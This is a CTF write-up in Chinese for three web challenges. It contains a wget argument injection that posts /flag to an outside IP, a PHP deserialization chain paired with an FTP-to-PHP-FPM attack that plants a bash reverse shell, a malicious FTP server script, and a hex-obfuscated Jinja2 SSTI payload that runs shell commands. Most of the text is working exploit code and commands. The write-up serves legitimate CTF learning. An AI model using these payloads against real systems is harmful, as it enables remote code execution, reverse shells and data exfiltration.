CheckIN

是个 go 的文件,发现了 /wget 路由可以执行 wget 命令,接收的参数可以是个数组

image-20211116141624569

利用 wget 的参数外带 flag

/wget?argv=1&agrv=--post-file&argv=/flag&agrv=http://101.35.114.107:8426/

image-20211116142102694

eaaasyphp

<?php

class Check {
    public static $str1 = false;
    public static $str2 = false;
}


class Esle {
    public function __wakeup()
    {
        Check::$str1 = true;
    }
}


class Hint {

    public function __wakeup(){
        $this->hint = "no hint";
    }

    public function __destruct(){
        if(!$this->hint){
            $this->hint = "phpinfo";
            ($this->hint)();
        }
    }
}


class Bunny {

    public function __toString()
    {
        if (Check::$str2) {
            if(!$this->data){
                $this->data = $_REQUEST['data'];
            }
            file_put_contents($this->filename, $this->data);
        } else {
            throw new Error("Error");
        }
    }
}

class Welcome {
    public function __invoke()
    {
        Check::$str2 = true;
        return "Welcome" . $this->username;
    }
}

class Bypass {

    public function __destruct()
    {
        if (Check::$str1) {
            ($this->str4)();
        } else {
            throw new Error("Error");
        }
    }
}

if (isset($_GET['code'])) {
    unserialize($_GET['code']);
} else {
    highlight_file(__FILE__);
}

这个题,怎么说 还是我太年轻了 我以为这个就是简单的反序列化 + shell 写入,然后非常的疑惑为啥本地可以但是远程的 shell 死活就是不落地,一直在想怎么绕过,这是当时尝试的 exp.php

<?php
class Check {
    public static $str1 = false;
    public static $str2 = false;
}
class Esle {
    public $str3;
}
class Bunny {
    public $filename;
    public $data;
}
class Welcome {
    public $username;
}
class Bypass {
    public $str4;
}

$check = new Check();
$esle = new Esle();
$bypass = new Bypass();
$welcome = new Welcome();
$bunny = new Bunny();

$esle -> str3 = $bypass;
// $bypass -> str4 = 'phpinfo';
$bypass -> str4 = $welcome;
$welcome -> username = $bunny;
$bunny -> filename = "op.php";
$bunny -> data = "xyz"

$payload = serialize($esle);
echo $payload;

直到赛后才知道这又又又是 fpm,需要用 ftp 打 fpm,具体的内容我最近也正在总结,可以参见 -> 攻击 PHP-FPM 学习笔记(还没全部收尾)

首先是依据 p 牛的脚本生成一个 urlencode 的 payload(这里引号有问题的话直接改脚本吧)

$ python fpm.py 127.0.0.1 '/var/www/html/index.php' -c '<?php exec("bash -c \'/bin/bash -i >& /dev/tcp/101.35.114.107/8426 0>&1\'");?>'

然后开一个恶意的 ftp-server

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 8001))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()
print("endd")

修改之前的反序列化 exp

<?php
class Bunny{
    public function __construct(){
        $this->data = urldecode('xxxxxxxxxxxxxxxxxx');
        $this->filename = "ftp://101.35.114.107:8001/aaa";
    }
}

class Welcome{
    public function __construct(){
        $this->username = new Bunny();
    }
}

class Bypass{
    public function __construct(){
        $this->str4 = new Welcome();
    }
}

class Esle{
}

echo urlencode(serialize(array(new Esle(), new Bypass())));

get 方式传入,同时 vps 上开一个 ftp-server 和一个监听反弹 shell 的端口,即可拿 flag

image-20211116141329800

MagicMail

原题,ssti 套壳,参见 ->[DeconstruCTF 2021]Mega Mailer,但是比赛的时候我没出,是我的问题,平时拿现成的 payload 梭惯了,自己构造的时候就露了怯

payload 的构造参见 ->Jinja2 SSTI filter bypasses,使用 attr()+hex 字符串的方式把基础 payload 给拼出来

sender=&receiver=&subject=&message={{()|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x62\x61\x73\x65\x5f\x5f")|attr("\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")(180)|attr("\x5f\x5f\x69\x6e\x69\x74\x5f\x5f")|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("\x65\x76\x61\x6c")("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x27\x29\x2e\x72\x65\x61\x64\x28\x29")}}
# 原本的样子
().__class__.__base__.subclasses()[180].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")